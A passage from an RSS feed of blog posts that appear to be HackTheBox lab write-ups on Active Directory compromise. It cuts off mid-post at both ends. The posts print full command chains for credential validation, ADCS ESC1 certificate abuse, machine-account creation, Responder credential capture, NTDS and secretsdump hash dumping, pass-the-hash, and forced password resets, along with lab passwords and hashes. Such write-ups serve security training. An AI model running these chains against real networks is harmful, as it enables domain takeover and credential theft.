src="https://cdn-images-1.medium.com/max/1024/1*jScie-LFSY8U9WQcDXAfWA.png" /><figcaption>Failed cheese</figcaption></figure><p>With us failing for an easy win, we connect via Evil-WinRM. We start to enumerate user Ryan.Cooper, but we can’t access anything within his file directory — go figure. We start moving through the environment and observe anErrror.BAK in the C:\SQLServer\Logs directory. It appears that ryan fat-fingered his password into the user field and failed, which we will pivot with.</p><pre>evil-winrm -i sequel.htb -u sql_svc -p &#39;REGGIE1234ronnie&#39;<br>cd C:\SQLServer\Logs<br>more ERRORLOG.BAK<br>NuclearMosquito3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cqtvyaNyAaa8qbTfsYTgtA.png" /><figcaption>Unable to access Ryan.Cooper directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*syDDNRBTX4uxEZZ7itBiDQ.png" /><figcaption>Discovery of directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*mRsKAJCuVzgq_39Zacszsg.png" /><figcaption>Discovery of ERRORLOG.bak</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vDUXuJKBEbUspJsJ2SjByA.png" /><figcaption>Discovery of hardcoded credentials for user Ryan.Cooper</figcaption></figure><p>As per usual, we need to validate that the credentials work, and the most juice we get is from winrm which shouldn’t come off as shocking by this point.</p><pre>nxc smb $IP -u Ryan.Cooper -p &#39;NuclearMosquito3&#39;<br>nxc ldap $IP -u Ryan.Cooper -p &#39;NuclearMosquito3&#39;<br>nxc winrm $IP -u Ryan.Cooper -p &#39;NuclearMosquito3&#39;<br>nxc mssql $IP -u Ryan.Cooper -p &#39;NuclearMosquito3&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cM4mutddm2cqwGWH3kqzXA.png" /><figcaption>Validation of user credentials</figcaption></figure><p>I yet again tried to cheese the process by dumping hashes via winrm but no luck.</p><pre>nxc winrm $IP -u Ryan.Cooper -p &#39;NuclearMosquito3&#39; --dump-method cmd<br>nxc winrm $IP -u Ryan.Cooper -p &#39;NuclearMosquito3&#39; --dump-method powershell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Re28ZuV7aQ-m1pd1pHbdcg.png" /><figcaption>failed cheese</figcaption></figure><p>With the failure of cheesing the box, we log in to ryan.cooper using Evil-WinRM and collect the user flag user.txt</p><pre>evil-winrm -i $IP -u Ryan.Cooper -p &#39;NuclearMosquito3&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HZCYNkD7yGfOJTmlLlWieA.png" /><figcaption>Enumeration of user flag user.txt</figcaption></figure><p>Now the fun part really begins! We must conduct some Active Directory Certificate Services (ADCS) enumeration and exploitation. Thankfully, I created a tool called <a href="https://github.com/NEED-Programming/Chainforge"><strong><em>Chainforge</em></strong></a>, which expedites the whole process by utilizing tools such as Netexec, Certipy-ad, Impacket, BloodyAD, Ldapsearch, Bloodhound, Bloodwound-quickwin. You can conduct basic ADCS enumeration or utilize it with Bloodhound draw to give you an all-encompassing attack path. For this, we are just going to do a basic ADCS enumeration/exploitation pull.</p><pre>cd opt<br>sudo git clone https://github.com/NEED-Programming/Chainforge<br>sudo chmod 7777 Chainforge<br>cd Chainforge<br>sudo python3 chainforge.py -u Ryan.Cooper -p &#39;NuclearMosquito3&#39; -d sequel.htb --dc-ip $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xDjbmXCRNZRhsVEaE9l5Q.png" /><figcaption>Chainforge</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WjHOwXNwUrovzoDHg6ggPA.png" /><figcaption>Discovery and PoC for ESC1 vulnerable template</figcaption></figure><p>Chainforge identified that the templateUserAuthentication is vulnerable to ESC1 . We attempt to execute the flow but we get error KRB_APP_ERR_SKEW(Clock Skew too Great) aka our clock isn’t within 5 minutes of the DC’s.</p><pre>certipy-ad req -u Ryan.Cooper@sequel.htb -p NuclearMosquito3 -dc-ip $IP -ca sequel-DC-CA -template UserAuthentication -target dc.sequel.htb -upn administrator@sequel.htb -sid S-1-5-21-4078382237-1492182817-2568127209-500<br>certipy-ad auth -pfx administrator.pfx -dc-ip $IP -domain sequel.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3PgSD6FRfiN0kl72o5DdXA.png" /><figcaption>Clock Skew Too Great</figcaption></figure><p>Sync your clock with the DC</p><pre>sudo timedatectl set-timezone UTC<br>nmap -Pn -n $IP --script smb2-time<br>sudo date -s &quot;$TIME&quot;<br>date</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*M3ksOTswnk8UJh5vAmxL_Q.png" /><figcaption>Synced clock to the DC</figcaption></figure><p>Now we retry, attempt to use .ccachewhich doesn’t work, and we pivot to just using the NTHash, so we can successfully dump hashes, and conduct a Pass The Hash to log into user Administrator and collect the root flag root.txt</p><pre>certipy-ad auth -pfx administrator.pfx -dc-ip $IP -domain sequel.htb<br>impacket-secretsdump sequel.htb/administrator@$IP -hashes aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee -just-dc-ntlm<br>evil-winrm -i $IP -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OZn9a_tl_b-lhUIqe3CKqA.png" /><figcaption>Succesful hash dump</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*POG16umzW3ZrRn9r_0tCrg.png" /><figcaption>Enumeration of root flag root.txt</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ac96e9e1f6e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB -Authority]]></title>
            <link>https://medium.com/@xNEED/htb-authority-c8d5a7490f22?source=rss-9d52dd8156ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8d5a7490f22</guid>
            <dc:creator><![CDATA[Need]]></dc:creator>
            <pubDate>Thu, 09 Jul 2026 21:22:27 GMT</pubDate>
            <atom:updated>2026-07-09T21:22:27.358Z</atom:updated>
            <content:encoded><![CDATA[<p>This medium box from the <strong>Active Directory Exploitation </strong>path was actually really fun, except for the ADCS part, which kind of ate a lot of time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*r9UQDeRunbclKnIeEp3T_w.png" /></figure><p><em>Authority is a medium-difficulty Windows machine that highlights the dangers of misconfigurations, password reuse, storing credentials on shares, and demonstrates how default settings in Active Directory (such as the ability for all domain users to add up to 10 computers to the domain) can be combined with other issues (vulnerable AD CS certificate templates) to take over a domain.</em></p><p>Now let’s check some ports</p><pre>nmap -sCV $IP -p- --min-rate 10000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MScIY12bxkQ0gWrA-HbYiA.png" /><figcaption>Ports and Services enumeration</figcaption></figure><p>Using Netexec, we determine that the device name is authorityand that Null Authentication is allowed.<br>For DNS resolution, add to /etc/hosts</p><pre>nxc smb $IP -u &#39;&#39; -p &#39;&#39;<br>echo &quot;$IP AUTHORITY authority.htb AUTHORITY.authority.htb&quot; | sudo tee -a /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hjVS-4kaloxUmF20Y9eDDg.png" /><figcaption>Host name identification</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JGD3CWV9FU5Ad0suxcYtWQ.png" /><figcaption>Changing DNS resolution</figcaption></figure><p>Now we are going to check users, groups, and password policy using Netexec</p><pre>nxc smb $IP -u &#39;&#39; -p &#39;&#39;<br>nxc smb $IP -u &#39;&#39; -p &#39;&#39; --users<br>nxc smb $IP -u &#39;&#39; -p &#39;&#39; --pass-pol</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RyjWba21snpixoypzcZpNQ.png" /></figure><p>When we check shares we identify that we have read access to Development</p><pre>nxc smb $IP -u &#39;guest&#39; -p &#39;&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4bH-mcNxEJpHwKriib6hLw.png" /><figcaption>Enumeration of Shares</figcaption></figure><p>Now let’s list shares and connect to Development using smbclient</p><pre>smbclient -L //$IP/ -N<br>smbclient //$IP/Development -N</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*VdYE8iDBN9u18y-5_epCpQ.png" /><figcaption>Enumerating Development share</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*H9K_ESTLNKUesbdS--ZrHA.png" /><figcaption>Observing subdirectory creation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*u04pOaKyugi8CnBYevz7-g.png" /><figcaption>Observing ACLs</figcaption></figure><p>We now move into theautomation\Ansible\PWM directory and start enumerating files and discover some hard-coded credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NBZrJs_fzEIsO_7lL7B5YQ.png" /><figcaption>Enumeration of Ansible.* files</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*5Iiw5zJvB-qWfiTnI2-fXw.png" /><figcaption>Discovery of user svc_pwm</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*qmbIAqRIppsKsl2TtwltZA.png" /><figcaption>Discovery of hard-coded credentials for the Ansible user Administrator</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*j-JjGuLzHrjK6Q--FAfUaw.png" /><figcaption>Enumeration of README.md file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*YMn_BxpqQxsh4ckFg2WKRg.png" /><figcaption>Discovery of hardcoded default credentials for pwm login</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*0W3MIeKaJT10NXc7G1IiAA.png" /><figcaption>Enumeration of tomcat-users.xml.j2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gz-ulsSCNg3VyKTC2SIHCA.png" /><figcaption>Discovery of hardcoded credentials for users admin &amp; robot</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*wcZutmUG506D0PIX1Yjs4Q.png" /><figcaption>Discovery of CA passphrase</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*b91UyGGAVti9EtO0FzMhtg.png" /><figcaption>Enumeration of Main.yml</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*iocM4edmaW5rtb750fBQSw.png" /><figcaption>Discovery of Ansible Vault hashes</figcaption></figure><p>Once we exfiltrate the hashes, we confirm that the hashes are in the correct format. Then we utilize ansible2john and pipe it into vault_hashes to ensure a smooth single file to crack using Hashcat -m 16900. The cracked hash is !@#$%^&amp;* .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QB7SlijdHP_rjrVsvVEF9A.png" /><figcaption>Confirming correct hash formats</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3XDT-soSGA6_w9WOloFMiQ.png" /><figcaption>Consolidating hashes to one file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E57Md_eTPZA2i7IqNW9RUg.png" /></figure><p>Now that we have the hashes for each user, we need to download ansible-core to ensure that we can actually decrypt the ansible vault blobs. We now have the decrypted passwords from the blobs.</p><pre>pipx install ansible-core<br>cat ldap_password_vault | ansible-vault decrypt<br>cat pwm_admin_login_vault | ansible-vault decrypt<br>cat pwm_admin_password_vault | ansible-vault decrypt<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*Mf69jcT9ud4WyL8KAVRL8A.png" /></figure><p>Now, let’s go ahead and try to log into PWM using all of the credentials that we gathered, but so far no dice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*R4mUyWrbTpBSBvCvqjhURg.png" /><figcaption>PWM landing page</figcaption></figure><p>Let’s move to the Configuration Manager with all of the credentials that we have collected/decrypted so far, and we are successful with pWm_@dm!N_!23</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*0akNMJb24mbNjqab0bBEqw.png" /><figcaption>Configuration Manager page</figcaption></figure><p>We can start moving through the LDAP configurations, and we observe some potentially juicy settings. We observe that we can add value and test ldap profile . We also observe that LDAP Proxy Password which has the passwords currently stored but we obviously can’t access them. We will then change the LDAP URL to our current tun0 IP address and spin up Responder to catch the authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*UrwYwYUdfekKYCRxInyLZA.png" /><figcaption>Observing some juicy settings</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*68kBM39Py8OA68fzF6tABA.png" /><figcaption>Observing stored proxy passwords</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*pKtwmB0NBqd8g1zUTAVFAQ.png" /><figcaption>current tun0 IP address</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*zlJoGOFEGAcrr8WxpQKevQ.png" /><figcaption>Changed the LDAP address to our IP address</figcaption></figure><p>Once we spin up Responder, verify that we changed the LDAP URLs to our current tun0 IP address, then select Test LDAP Profile and capture the clear-text password credential lDaP_1n_th3_cle4r!</p><pre>sudo responder -I tun0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0waN8740xVW_6BGWIWZvg.png" /></figure><p>Now we want to validate the credentials utilizing netexec across multiple protocols. We observe that we have Pwn3d! on LDAP, which makes sense.</p><pre>nxc ldap 10.129.229.56 -u svc_ldap -p &#39;lDaP_1n_th3_cle4r!&#39;<br>nxc smb 10.129.229.56 -u svc_ldap -p &#39;lDaP_1n_th3_cle4r!&#39;<br>nxc winrm 10.129.229.56 -u svc_ldap -p &#39;lDaP_1n_th3_cle4r!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-cGoU47GQy8zMLULCgelg.png" /><figcaption>Credential validation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OtvBZT5ydZ5tUIGnc7XUfA.png" /><figcaption>Successful enumeration of user.txt flag</figcaption></figure><p>Now here is where the fun really begins, we start looking at Active Directory Certificate Services, commonly known as ADCS. So let’s use certipy-ad because it’s already on Kali/Parrot OS boxes. We observe that there is a vulerable template named CorpVPN with enrollment rights for Domain Computers , which makes this anESC1 vulnerability. There is a lot of really good resources on ESC1-17?-&gt; but who&#39;s counting, such as <a href="https://bloodhound.specterops.io/resources/edges/adcs-esc1"><em>SpecterOps</em></a><em>, </em><a href="https://www.thehacker.recipes/ad/movement/adcs/"><em>HackerRecipes</em></a><em>, </em><a href="https://www.cobalt.io/blog/adcs-esc1-misconfigured-certificate-templates-leading-to-full-domain-compromise"><em>Cobalt</em></a><em>, </em><a href="https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/"><em>BlackHills</em></a>, and<em> </em><a href="https://www.redfoxsec.com/blog/exploiting-active-directory-certificate-services-ad-cs"><em>RedFox</em></a>. <em>There are a lot more resources, but that should be enough for now.</em></p><pre>certipy-ad find -u svc_ldap -p &#39;lDaP_1n_th3_cle4r!&#39; -target authority -text -stdout -vulnerable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*NcewhUEQIDJnlwiq0q6SjQ.png" /><figcaption>Identification of Template Name &amp; Enrollment Rights</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oo5TncvfjKgzCTyH5XSh4A.png" /><figcaption>Identification of ESC1 vulnerability</figcaption></figure><p>Finally, we will conduct ADCS:ESC1, but since PKNITis not properly setup , it will constantly fail. After you create your fake computer account, creating your certificate, and attempt to use it, you will encounter the error KDC_ERR_PADATA_TYPE_NOSUPP . We will go through with an LDAP-Shell based on <a href="https://0xdf.gitlab.io/2023/12/09/htb-authority.html"><em>0xdf’s</em></a> write-up of the lab, which made this super simple. Since we observed that in Enrollment Rights: Domain Computers could request this, we need to verify that ms-ds-machineaccountquota is enabled; then create a computer account, create a certificate w/ a public and private key, then connect via Passthecert to add svc_ldap to the administrators group.</p><pre>nxc ldap $IP -u svc_ldap -p &#39;lDaP_1n_th3_cle4r!&#39; -M maq<br>impacket-addcomputer &#39;authority.htb/svc_ldap:lDaP_1n_th3_cle4r!&#39; -method LDAPS -computer-name NEED$ -computer-pass &#39;P@ssw0rd!&#39; -dc-ip $IP<br>certipy-ad req -username &#39;NEED$&#39; -password &#39;P@ssw0rd!&#39; -ca AUTHORITY-CA -dc-ip $IP -template CorpVPN -upn administrator@authority.htb -dns authority.htb<br>certipy-ad cert -pfx administrator_authority.pfx -nocert -out administrator.key<br>certipy-ad cert -pfx administrator_authority.pfx -nokey -out administrator.crt<br>python3 /opt/PassTheCert/Python/passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip $IP<br>add_user_to_group svc_ldap administrators</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dcBbVKBzJjdZvghsfya1yg.png" /><figcaption>Identifying MAQ, Creating a Machine Account, and creating Public/Private keys</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5vDJbTOK0oaRTFqaTopg1w.png" /><figcaption>Adding the cert to the keys</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rZ86eKUWZb7pnj90850XoA.png" /><figcaption>Adding user svc_ldap to the administrators group</figcaption></figure><p>Nowe we validate that svc_ldap has been added to the administrators groups, dump NTDS, conduct a Pass-The-Hash, and re-dump hashes for extra effect. After that, jump onto the device using Evil-WinRm to grab the root.txt flag.</p><pre>nxc smb $IP -u svc_ldap -p &#39;lDaP_1n_th3_cle4r!&#39;<br>nxc smb $IP -u svc_ldap -p &#39;lDaP_1n_th3_cle4r!&#39; --ntds<br>nxc smb $IP -u administrator -H 6961f422924da90a6928197429eea4ed<br>evil-winrm -i authority.htb -u administrator -H 6961f422924da90a6928197429eea4ed<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rC_-CK_faOxn22w0q4LT6w.png" /><figcaption>Confirming credentials, dumping hashes, validating hashes via Pass The Hash via Administrator</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XU0Bky61AISr32sAmz6e9A.png" /><figcaption>Enumeration and exfiltration of root.txt flag</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8d5a7490f22" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Administrator]]></title>
            <link>https://medium.com/@xNEED/htb-administrator-61d966372bb3?source=rss-9d52dd8156ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/61d966372bb3</guid>
            <dc:creator><![CDATA[Need]]></dc:creator>
            <pubDate>Wed, 08 Jul 2026 22:40:58 GMT</pubDate>
            <atom:updated>2026-07-08T22:40:58.823Z</atom:updated>
            <content:encoded><![CDATA[<p>medium box from <strong>Active Directory Exploitation </strong>path goes brrrrrrr</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*nTBuqExqw-YQrQ4HN0wvHg.png" /></figure><p><em>Administrator is a medium-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. To gain access to the </em><em>michael account, ACLs (Access Control Lists) over privileged objects are enumerated, leading us to discover that the user </em><em>olivia has </em><em>GenericAll permissions over </em><em>michael, allowing us to reset his password. With access as </em><em>michael, it is revealed that he can force a password change on the user </em><em>benjamin, whose password is reset. This grants access to </em><em>FTP where a </em><em>backup.psafe3 file is discovered, cracked, and reveals credentials for several users. These credentials are sprayed across the domain, revealing valid credentials for the user </em><em>emily. Further enumeration shows that </em><em>emily has </em><em>GenericWrite permissions over the user </em><em>ethan, allowing us to perform a targeted Kerberoasting attack. The recovered hash is cracked and reveals valid credentials for </em><em>ethan, who is found to have </em><em>DCSync rights ultimately allowing retrieval of the </em><em>Administrator account hash and full domain compromise.</em></p><p>As per usual, let’s check some ports</p><pre>sudo nmap -sVC -p- $IP --min-rate 10000<br>nxc smb 10.129.33.3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jM8vdL1HhLQAtWKjaW4c6w.png" /><figcaption>Vulnerable services and ports enumeration via Nmap</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*krjT8X8ygcBB-BYTIjb5cw.png" /><figcaption>Enumeration of device name and fully qualified domain name (FQDN)</figcaption></figure><p>For DNS resolution, add to /etc/hosts</p><pre>echo &quot;$IP DC administrator.htb DC.administrator.htb&quot; | sudo tee -a /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*YrAdXLKEBGRt4CEogkwNlg.png" /><figcaption>Validation of DNS resolution</figcaption></figure><p>From here, we can start enumerating users, groups, and shares via Null Authentication. We can see that we really don’t have much to go off of.</p><pre>nxc smb10.129.33.3 -u &#39;&#39; -p &#39;&#39;<br>nxc smb10.129.33.3 -u &#39;&#39; -p &#39;&#39; --users<br>nxc smb10.129.33.3 -u &#39;&#39; -p &#39;&#39; --rid-brute<br>nxc smb10.129.33.3 -u &#39;&#39; -p &#39;&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MscaaCiHDWs4HKusIAgqWQ.png" /><figcaption>Unsuccessful null authentication enumerations</figcaption></figure><p>Since we were provided credentials olivia:ichliebedich we can go ahead and confirm that they work and enumerate users/groups/shares. We observe that olivia | michael | emily are part of theRemote Management Users group.</p><pre><br>nxc smb 10.129.33.3 -u olivia -p &#39;ichliebedich&#39;<br>nxc smb 10.129.33.3 -u olivia -p &#39;ichliebedich&#39; --users<br>nxc ldap 10.129.33.3 -u olivia -p &#39;ichliebedich&#39; --groups<br>nxc ldap 10.129.33.3 -u olivia -p &#39;ichliebedich&#39; --groups &quot;Administrators&quot;<br>nxc ldap 10.129.33.3 -u olivia -p &#39;ichliebedich&#39; --groups &quot;Remote Management Users&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Wm9lHnl55t3SKY4J55OqQ.png" /><figcaption>Enumeration of Domain Users</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mNvomuCAgqZhE5AP2qpLLA.png" /><figcaption>Enumeration of Domain Groups</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*54ef-ASazn8Khs8AsvXZGA.png" /><figcaption>Enumeration of users in Remote Management Users</figcaption></figure><p>Now lets return to the open FTP we observed earlier and see if we can utilize an anonymous ftp connection, which it appears we cannot. I also attempted an authenticated login, which did not work either.</p><pre>nxc ftp $IP -u olivia -p &#39;ichliebedich&#39;<br>ftp $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UyE9eD-lUkYoa77bKW14dQ.png" /><figcaption>Unsuccessful anonymous authentications to FTP service</figcaption></figure><p>Since we observed that olivia is part of the Remote Management Users group earlier, let’s go ahead and give that a spin. We observe that there is no user flag or really any privileges that we can exploit — so this appears to be a dead end.</p><pre>nxc winrm $IP -u olivia -p &#39;ichliebedich&#39;<br>nxc winrm $IP -u olivia -p &#39;ichliebedich&#39; -X whoami<br>evil-winrm $IP -u olivia -p &#39;ichliebedich&#39;<br>dir<br>ls<br>cd..; cd Desktop<br>tree /f .<br>whoami /all</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aW48qdqsHC1cSL04U9C_tQ.png" /><figcaption>Validation of user olivia credentials</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*srW8yCp-dzfeG-thP9xq0w.png" /><figcaption>Lack of artifacts via Evil-WinRM</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m3X8y_7iq25xIk6ckHqcOQ.png" /><figcaption>Enumeration of user privileges</figcaption></figure><p>Since we haven’t really found any meaningful ways to conduct local privilege escalation (LPE), we do have a domain-joined user, which means that we can do a Bloodhound draw. We will utilize Netexec for this.</p><pre>nxc ldap $IP -u olivia -p &#39;ichliebedich&#39; --bloodhound ALL --dns-server $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jv9iGbKIODgaFuXU_MwNOw.png" /><figcaption>Successful Bloodhound extraction via Netexec</figcaption></figure><p>If you haven’t downloaded Bloodhound CE version, follow the documentation provided <a href="https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart">here</a>. Once downloaded, go to http://127.0.0.1:8080/ui/explore and log in with the credentials provided to you.</p><pre>wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz<br>tar -xvzf bloodhound-cli-linux-amd64.tar.gz<br>rm -r  bloodhound-cli-linux-amd64.tar.gz<br>sudo systemctl start docker<br>./bloodhound-cli install<br>http://127.0.0.1:8080/ui/explore</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-la-Wxtt1cF_RRSQHScoew.png" /><figcaption>Successful download of Blodhound CE</figcaption></figure><p>Once you log in to Bloodhound, you need to traverse to Quick Uploads then Upload Files where you will select the zip file you collected earlier</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4AFD9VBzmhtTO4zxYMo35w.png" /><figcaption>Upload Files</figcaption></figure><p>Once Bloodhound has ingested all the files, go to Search and type in Olivia and select the full name that auto completes. You can observe that in Outbout Object Control we have GenericAll privileges over Michael, which is actually pretty helpful for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9AbJqgabwKbx19H3O9iXWg.png" /><figcaption>GenericAll</figcaption></figure><p>As mentioned, we observe that Olivia has GenericAll over michael . What exactly does that mean? Per <a href="https://www.hackingarticles.in/genericall-active-directory-abuse/">HackinArticles</a> -</p><blockquote>a <strong>DACL</strong> (Discretionary Access Control List) is a component of an object’s security descriptor. It specifies which users or groups are allowed (or denied) access to the object and what actions they are permitted to perform. ItA essentially controls who can do what to an object. Such as a user account, computer, group, or any other directory object.</blockquote><blockquote>In Active Directory, common DACL rights include:<br><strong>GenericAll</strong>: Grants full control over an object (e.g., modify properties, reset passwords, etc.).<br><strong>GenericWrite</strong>: Allows modification of some object properties.<br><strong>WriteDACL</strong>: Lets the user modify the DACL itself, potentially escalating privileges.<br><strong>WriteOwner</strong>: Grants the ability to take ownership of the object, allowing further privilege modification.<br><strong>ReadProperty</strong>: Allows reading of object properties (e.g., attributes in a user object).<br><strong>AllExtendedRight</strong>s: Grants special rights for advanced operations, like resetting passwords or enabling delegation.<br><strong>Delet</strong>e: Grants the ability to delete the object.<br><strong>ReadDACL</strong>: Allows reading the object’s access permissions without being able to change them.<br><strong>ForceChangePassword:</strong> Allows forcing a user to change their password without knowing the current one.</blockquote><blockquote>The <strong>“Generic ALL”</strong> privilege is one of the most powerful in AD because it grants <strong>complete control</strong> over the target object. This means that the user or group with this privilege can:</blockquote><blockquote>o Modify any attribute of the object</blockquote><blockquote>o Reset passwords</blockquote><blockquote>o Add or remove members from groups</blockquote><blockquote>o Delegate further control to other users</blockquote><blockquote>o Delete the object altogether</blockquote><p>Once we click on GenericAll , look to the right side where it shows Relationship Information, and click on Linux Abuse — we will see that it tells us the exact attack path we want to do.</p><pre>net rpc password &quot;michael&quot; &quot;P@ssw0rd!&quot; -U &quot;administrator.htb&quot;/&quot;olivia&quot;%&quot;P@ssw0rd!&quot; -S &quot;$IP&quot;<br>nxc smb $IP -u michael -p &#39;P@ssw0rd!&#39;<br>evil-winrm -i $IP -u michael -p &#39;P@ssw0rd!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*I3U-cjsoP5QJn1MffSBnCQ.png" /><figcaption>GenericAll</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tm43V7Nf2QEwj8d41WnMcA.png" /><figcaption>Successful password change and validation of credentials</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bUAqYWtm5CDAfaJpRCT9nw.png" /><figcaption>Enumeration of user privileges</figcaption></figure><p>Now that we’ve poked around and didn’t really observe anything that will help with LPE, let’s return to Bloodhound and look to see what is available for us to exploit from user michael . Following the same premise as before, we observe that michael has ForceChangePasssword priviliges over benjamin . So it looks like that will be the next attack vector.</p><pre>net rpc password &quot;benjamin&quot; &quot;P@ssw0rd!&quot; -U &quot;administrator.htb&quot;/&quot;michael&quot;%&quot;P@ssw0rd!&quot; -S &quot;10.129.33.3&quot;<br>nxc smb 10.129.33.3 -u benjamin -p &quot;P@ssw0rd!&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JHdTFWXUAMRulOsmX7SjpQ.png" /><figcaption>ForceChangePassword privilege from Michael to Benjamin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*V-jQErkb3Appxxh57zZZ_w.png" /><figcaption>ForceChangePassword</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gz72e70A4zeet-c64v48vA.png" /><figcaption>Successful password change and validation of credentials</figcaption></figure><p>Look at Shortest Paths to Domain Admins which already shows the path we have taken.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EXdPZAgflPDWsyyIhy3aEA.png" /><figcaption>Shortest Paths to Domain 